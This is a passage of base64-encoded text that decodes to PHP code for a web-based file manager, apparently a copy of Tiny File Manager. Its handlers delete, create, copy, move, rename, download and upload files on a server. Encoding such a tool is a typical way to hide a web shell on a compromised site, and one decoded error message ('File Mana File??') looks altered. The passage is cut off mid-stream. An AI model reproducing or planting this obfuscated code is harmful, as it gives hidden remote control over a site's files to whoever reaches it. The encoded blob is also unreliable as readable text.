0KICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpLicgPGI+JXM8L2I+ICcubG5nKCdEZWxldGVkJykgOiBsbmcoJ0ZpbGUnKS4nIDxiPiVzPC9iPiAnLmxuZygnRGVsZXRlZCcpOw0KICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCRtc2csIGZtX2VuYygkZGVsKSkpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpLicgPGI+JXM8L2I+ICcubG5nKCdub3QgZGVsZXRlZCcpIDogbG5nKCdGaWxlJykuJyA8Yj4lczwvYj4gJy5sbmcoJ25vdCBkZWxldGVkJyk7DQogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJG1zZywgZm1fZW5jKCRkZWwpKSwgJ2Vycm9yJyk7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpOw0KICAgIH0NCiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQp9DQoNCi8vIENyZWF0ZSBhIG5ldyBmaWxlL2ZvbGRlcg0KaWYgKGlzc2V0KCRfUE9TVFsnbmV3ZmlsZW5hbWUnXSwgJF9QT1NUWyduZXdmaWxlJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7DQogICAgJHR5cGUgPSB1cmxkZWNvZGUoJF9QT1NUWyduZXdmaWxlJ10pOw0KICAgICRuZXcgPSBzdHJfcmVwbGFjZSggJy8nLCAnJywgZm1fY2xlYW5fcGF0aCggc3RyaXBfdGFncyggJF9QT1NUWyduZXdmaWxlbmFtZSddICkgKSApOw0KICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRuZXcgIT0gJycgJiYgJG5ldyAhPSAnLi4nICYmICRuZXcgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7DQogICAgICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOw0KICAgICAgICB9DQogICAgICAgIGlmICgkdHlwZSA9PSAiZmlsZSIpIHsNCiAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGggLiAnLycgLiAkbmV3KSkgew0KICAgICAgICAgICAgICAgIGlmKGZtX2lzX3ZhbGlkX2V4dCgkbmV3KSkgew0KICAgICAgICAgICAgICAgICAgICBAZm9wZW4oJHBhdGggLiAnLycgLiAkbmV3LCAndycpIG9yIGRpZSgnQ2Fubm90IG9wZW4gZmlsZTogICcgLiAkbmV3KTsNCiAgICAgICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRmlsZScpLicgPGI+JXM8L2I+ICcubG5nKCdDcmVhdGVkJyksIGZtX2VuYygkbmV3KSkpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZCcpLCAnZXJyb3InKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZpbGUnKS4nIDxiPiVzPC9iPiAnLmxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnLycgLiAkbmV3LCBmYWxzZSkgPT09IHRydWUpIHsNCiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7DQogICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnLycgLiAkbmV3LCBmYWxzZSkgPT09ICRwYXRoIC4gJy8nIC4gJG5ldykgew0KICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpLicgPGI+JXM8L2I+ICcubG5nKCdhbHJlYWR5IGV4aXN0cycpLCBmbV9lbmMoJG5ldykpLCAnYWxlcnQnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykuJyA8Yj4lczwvYj4gJy5sbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpOw0KICAgIH0NCiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQp9DQoNCi8vIENvcHkgZm9sZGVyIC8gZmlsZQ0KaWYgKGlzc2V0KCRfR0VUWydjb3B5J10sICRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7DQogICAgLy8gZnJvbQ0KICAgICRjb3B5ID0gdXJsZGVjb2RlKCRfR0VUWydjb3B5J10pOw0KICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7DQogICAgLy8gZW1wdHkgcGF0aA0KICAgIGlmICgkY29weSA9PSAnJykgew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygnU291cmNlIHBhdGggbm90IGRlZmluZWQnKSwgJ2Vycm9yJyk7DQogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCiAgICB9DQogICAgLy8gYWJzIHBhdGggZnJvbQ0KICAgICRmcm9tID0gRk1fUk9PVF9QQVRIIC4gJy8nIC4gJGNvcHk7DQogICAgLy8gYWJzIHBhdGggdG8NCiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDsNCiAgICBpZiAoRk1fUEFUSCAhPSAnJykgew0KICAgICAgICAkZGVzdCAuPSAnLycgLiBGTV9QQVRIOw0KICAgIH0NCiAgICAkZGVzdCAuPSAnLycgLiBiYXNlbmFtZSgkZnJvbSk7DQogICAgLy8gbW92ZT8NCiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pOw0KICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTsNCiAgICAvLyBjb3B5L21vdmUvZHVwbGljYXRlDQogICAgaWYgKCRmcm9tICE9ICRkZXN0KSB7DQogICAgICAgICRtc2dfZnJvbSA9IHRyaW0oRk1fUEFUSCAuICcvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJy8nKTsNCiAgICAgICAgaWYgKCRtb3ZlKSB7IC8vIE1vdmUgYW5kIHRvICE9IGZyb20gc28ganVzdCBwZXJmb3JtIG1vdmUNCiAgICAgICAgICAgICRyZW5hbWUgPSBmbV9yZW5hbWUoJGZyb20sICRkZXN0KTsNCiAgICAgICAgICAgIGlmICgkcmVuYW1lKSB7DQogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnTW92ZWQgZnJvbScpLicgPGI+JXM8L2I+ICcubG5nKCd0bycpLicgPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTsNCiAgICAgICAgICAgIH0gZWxzZWlmICgkcmVuYW1lID09PSBudWxsKSB7DQogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgb3IgZm9sZGVyIHdpdGggdGhpcyBwYXRoIGFscmVhZHkgZXhpc3RzJyksICdhbGVydCcpOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbScpLicgPGI+JXM8L2I+ICcubG5nKCd0bycpLicgPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsgLy8gTm90IG1vdmUgYW5kIHRvICE9IGZyb20gc28gY29weSB3aXRoIG9yaWdpbmFsIG5hbWUNCiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7DQogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKS4nIDxiPiVzPC9iPiAnLmxuZygndG8nKS4nIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIGNvcHlpbmcgZnJvbScpLicgPGI+JXM8L2I+ICcubG5nKCd0bycpLicgPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgaWYgKCEkbW92ZSl7IC8vTm90IG1vdmUgYW5kIHRvID0gZnJvbSBzbyBkdXBsaWNhdGUNCiAgICAgICAgICAgICRtc2dfZnJvbSA9IHRyaW0oRk1fUEFUSCAuICcvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJy8nKTsNCiAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmcm9tKTsNCiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7DQogICAgICAgICAgICBpZighaXNfZGlyKCRmcm9tKSl7DQogICAgICAgICAgICAgICAkZXh0ZW5zaW9uX3N1ZmZpeCA9ICcuJy4kZm5fcGFydHNbJ2V4dGVuc2lvbiddOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy9DcmVhdGUgbmV3IG5hbWUgZm9yIGR1cGxpY2F0ZQ0KICAgICAgICAgICAgJGZuX2R1cGxpY2F0ZSA9ICRmbl9wYXJ0c1snZGlybmFtZSddLicvJy4kZm5fcGFydHNbJ2ZpbGVuYW1lJ10uJy0nLmRhdGUoJ1ltZEhpcycpLiRleHRlbnNpb25fc3VmZml4Ow0KICAgICAgICAgICAgJGxvb3BfY291bnQgPSAwOw0KICAgICAgICAgICAgJG1heF9sb29wID0gMTAwMDsNCiAgICAgICAgICAgIC8vIENoZWNrIGlmIGEgZmlsZSB3aXRoIHRoZSBkdXBsaWNhdGUgbmFtZSBhbHJlYWR5IGV4aXN0cywgaWYgc28sIG1ha2UgbmV3IG5hbWUgKGVkZ2UgY2FzZS4uLikNCiAgICAgICAgICAgIHdoaWxlKGZpbGVfZXhpc3RzKCRmbl9kdXBsaWNhdGUpICYgJGxvb3BfY291bnQgPCAkbWF4X2xvb3Apew0KICAgICAgICAgICAgICAgJGZuX3BhcnRzID0gcGF0aGluZm8oJGZuX2R1cGxpY2F0ZSk7DQogICAgICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzWydkaXJuYW1lJ10uJy8nLiRmbl9wYXJ0c1snZmlsZW5hbWUnXS4nLWNvcHknLiRleHRlbnNpb25fc3VmZml4Ow0KICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGZuX2R1cGxpY2F0ZSwgRmFsc2UpKSB7DQogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3B5aWVkIGZyb20gPGI+JXM8L2I+IHRvIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkZm5fZHVwbGljYXRlKSkpOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0Vycm9yIHdoaWxlIGNvcHlpbmcgZnJvbSA8Yj4lczwvYj4gdG8gPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7DQogICAgICAgICAgICB9DQogICAgICAgfQ0KICAgICAgIGVsc2V7DQogICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCcpLCAnYWxlcnQnKTsNCiAgICAgICB9DQogICAgfQ0KICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCn0NCg0KLy8gTWFzcyBjb3B5IGZpbGVzLyBmb2xkZXJzDQppZiAoaXNzZXQoJF9QT1NUWydmaWxlJ10sICRfUE9TVFsnY29weV90byddLCAkX1BPU1RbJ2ZpbmlzaCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgew0KDQogICAgaWYoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgVG9rZW4uJyksICdlcnJvcicpOw0KICAgIH0NCiAgICANCiAgICAvLyBmcm9tDQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsNCiAgICB9DQogICAgLy8gdG8NCiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIOw0KICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7DQogICAgaWYgKCRjb3B5X3RvICE9ICcnKSB7DQogICAgICAgICRjb3B5X3RvX3BhdGggLj0gJy8nIC4gJGNvcHlfdG87DQogICAgfQ0KICAgIGlmICgkcGF0aCA9PSAkY29weV90b19wYXRoKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCcpLCAnYWxlcnQnKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgIH0NCiAgICBpZiAoIWlzX2RpcigkY29weV90b19wYXRoKSkgew0KICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7DQogICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpOw0KICAgICAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgICAgICB9DQogICAgfQ0KICAgIC8vIG1vdmU/DQogICAgJG1vdmUgPSBpc3NldCgkX1BPU1RbJ21vdmUnXSk7DQogICAgLy8gY29weS9tb3ZlDQogICAgJGVycm9ycyA9IDA7DQogICAgJGZpbGVzID0gJF9QT1NUWydmaWxlJ107DQogICAgaWYgKGlzX2FycmF5KCRmaWxlcykgJiYgY291bnQoJGZpbGVzKSkgew0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHsNCiAgICAgICAgICAgIGlmICgkZiAhPSAnJykgew0KICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7DQogICAgICAgICAgICAgICAgLy8gYWJzIHBhdGggZnJvbQ0KICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnLycgLiAkZjsNCiAgICAgICAgICAgICAgICAvLyBhYnMgcGF0aCB0bw0KICAgICAgICAgICAgICAgICRkZXN0ID0gJGNvcHlfdG9fcGF0aCAuICcvJyAuICRmOw0KICAgICAgICAgICAgICAgIC8vIGRvDQogICAgICAgICAgICAgICAgaWYgKCRtb3ZlKSB7DQogICAgICAgICAgICAgICAgICAgICRyZW5hbWUgPSBmbV9yZW5hbWUoJGZyb20sICRkZXN0KTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRyZW5hbWUgPT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KCRmcm9tLCAkZGVzdCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRlcnJvcnMrKzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7DQogICAgICAgICAgICAkbXNnID0gJG1vdmUgPyAnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnMgbW92ZWQnIDogJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIGNvcGllZCc7DQogICAgICAgICAgICBmbV9zZXRfbXNnKCRtc2cpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ0Vycm9yIHdoaWxlIG1vdmluZyBpdGVtcycgOiAnRXJyb3Igd2hpbGUgY29weWluZyBpdGVtcyc7DQogICAgICAgICAgICBmbV9zZXRfbXNnKCRtc2csICdlcnJvcicpOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7DQogICAgfQ0KICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCn0NCg0KLy8gUmVuYW1lDQppZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgew0KICAgIGlmKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7DQogICAgICAgIGZtX3NldF9tc2coIkludmFsaWQgVG9rZW4uIiwgJ2Vycm9yJyk7DQogICAgfQ0KICAgIC8vIG9sZCBuYW1lDQogICAgJG9sZCA9IHVybGRlY29kZSgkX1BPU1RbJ3JlbmFtZV9mcm9tJ10pOw0KICAgICRvbGQgPSBmbV9jbGVhbl9wYXRoKCRvbGQpOw0KICAgICRvbGQgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkb2xkKTsNCiAgICAvLyBuZXcgbmFtZQ0KICAgICRuZXcgPSB1cmxkZWNvZGUoJF9QT1NUWydyZW5hbWVfdG8nXSk7DQogICAgJG5ldyA9IGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkbmV3KSk7DQogICAgJG5ldyA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRuZXcpOw0KICAgIC8vIHBhdGgNCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsNCiAgICBpZiAoRk1fUEFUSCAhPSAnJykgew0KICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOw0KICAgIH0NCiAgICAvLyByZW5hbWUNCiAgICBpZiAoZm1faXN2YWxpZF9maWxlbmFtZSgkbmV3KSAmJiAkb2xkICE9ICcnICYmICRuZXcgIT0gJycpIHsNCiAgICAgICAgaWYgKGZtX3JlbmFtZSgkcGF0aCAuICcvJyAuICRvbGQsICRwYXRoIC4gJy8nIC4gJG5ldykpIHsNCiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ1JlbmFtZWQgZnJvbScpLicgPGI+JXM8L2I+ICcuIGxuZygndG8nKS4nIDxiPiVzPC9iPicsIGZtX2VuYygkb2xkKSwgZm1fZW5jKCRuZXcpKSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJykuJyA8Yj4lczwvYj4gJy4gbG5nKCd0bycpLicgPGI+JXM8L2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTsNCiAgICAgICAgfQ0KICAgIH0gZWxzZSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpOw0KICAgIH0NCiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQp9DQoNCi8vIERvd25sb2FkDQppZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgew0KICAgICAgICBmbV9zZXRfbXNnKCJJbnZhbGlkIFRva2VuLiIsICdlcnJvcicpOw0KICAgIH0NCg0KICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7DQogICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpOw0KICAgICRkbCA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRkbCk7DQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsNCiAgICB9DQogICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJy8nIC4gJGRsKSkgew0KICAgICAgICBmbV9kb3dubG9hZF9maWxlKCRwYXRoIC4gJy8nIC4gJGRsLCAkZGwsIDEwMjQpOw0KICAgICAgICBleGl0Ow0KICAgIH0gZWxzZSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIE1hbmEgRmlsZT8/JyksICdlcnJvcicpOw0KICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQogICAgfQ0KfQ0KDQovLyBVcGxvYWQNCmlmICghZW1wdHkoJF9GSUxFUykgJiYgIUZNX1JFQURPTkxZKSB7DQogICAgaWYoaXNzZXQoJF9QT1NUWyd0b2tlbiddKSkgew0KICAgICAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgew0KICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKCdzdGF0dXMnID0+ICdlcnJvcicsJ2luZm8nID0+ICJJbnZhbGlkIFRva2VuLiIpOw0KICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOyBleGl0KCk7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoJ3N0YXR1cycgPT4gJ2Vycm9yJywnaW5mbycgPT4gIlRva2VuIE1pc3NpbmcuIik7DQogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsgZXhpdCgpOw0KICAgIH0NCg0KICAgICRvdmVycmlkZV9maWxlX25hbWUgPSBmYWxzZTsNCiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107DQogICAgJGNodW5rVG90YWwgPSAkX1BPU1RbJ2R6dG90YWxjaHVua2NvdW50J107DQogICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7DQoNCiAgICAkZiA9ICRfRklMRVM7DQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgICBpZiAoRk1fUEFUSCAhPSAnJykgew0KICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOw0KICAgIH0NCg0KICAgICRlcnJvcnMgPSAwOw0KICAgICR1cGxvYWRzID0gMDsNCiAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlOw0KICAgICRyZXNwb25zZSA9IGFycmF5ICgNCiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJywNCiAgICAgICAgJ2luZm8nICAgPT4gJ09vcHMhIFRyeSBhZ2FpbicNCiAgICApOw0KDQogICAgJGZpbGVuYW1lID0gJGZbJ2ZpbGUnXVsnbmFtZSddOw0KICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107DQogICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRklMRU5BTUUpICE9ICcnID8gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpIDogJyc7DQogICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTsNCg0KICAgIGlmKCFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmaWxlbmFtZSkgJiYgIWZtX2lzdmFsaWRfZmlsZW5hbWUoJGZ1bGxQYXRoSW5wdXQpKSB7DQogICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgNCiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsDQogICAgICAgICAgICAnaW5mbycgICAgICA9PiAiSW52YWxpZCBGaWxlIG5hbWUhIiwNCiAgICAgICAgKTsNCiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOyBleGl0KCk7DQogICAgfQ0KDQogICAgJHRhcmdldFBhdGggPSAkcGF0aCAuICRkczsNCiAgICBpZiAoIGlzX3dyaXRhYmxlKCR0YXJnZXRQYXRoKSApIHsNCiAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnLycgLiBiYXNlbmFtZSgkZnVsbFBhdGhJbnB1dCk7DQogICAgICAgICRmb2xkZXIgPSBzdWJzdHIoJGZ1bGxQYXRoLCAwLCBzdHJycG9zKCRmdWxsUGF0aCwgIi8iKSk7DQoNCiAgICAgICAgaWYoZmlsZV9leGlzdHMgKCRmdWxsUGF0aCkgJiYgISRvdmVycmlkZV9maWxlX25hbWUgJiYgISRjaHVua3MpIHsNCiAgICAgICAgICAgICRleHRfMSA9ICRleHQgPyAnLicuJGV4dCA6ICcnOw0KICAgICAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnLycgLiBiYXNlbmFtZSgkZnVsbFBhdGhJbnB1dCwgJGV4dF8xKSAuJ18nLiBkYXRlKCd5bWRIaXMnKS4gJGV4dF8xOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHsNCiAgICAgICAgICAgICRvbGQgPSB1bWFzaygwKTsNCiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXIsIDA3NzcsIHRydWUpOw0KICAgICAgICAgICAgdW1hc2soJG9sZCk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkgew0KICAgICAgICAgICAgaWYgKCRjaHVua1RvdGFsKXsNCiAgICAgICAgICAgICAgICAkb3V0ID0gQGZvcGVuKCJ7JGZ1bGxQYXRofS5wYXJ0IiwgJGNodW5rSW5kZXggPT0gMCA/ICJ3YiIgOiAiYWIiKTsNCiAgICAgICAgICAgICAgICBpZiAoJG91dCkgew0KICAgICAgICAgICAgICAgICAgICAkaW4gPSBAZm9wZW4oJHRtcF9uYW1lLCAicmIiKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbikgew0KICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCRidWZmID0gZnJlYWQoJGluLCA0MDk2KSkgeyBmd3JpdGUoJG91dCwgJGJ1ZmYpOyB9DQogICAgICA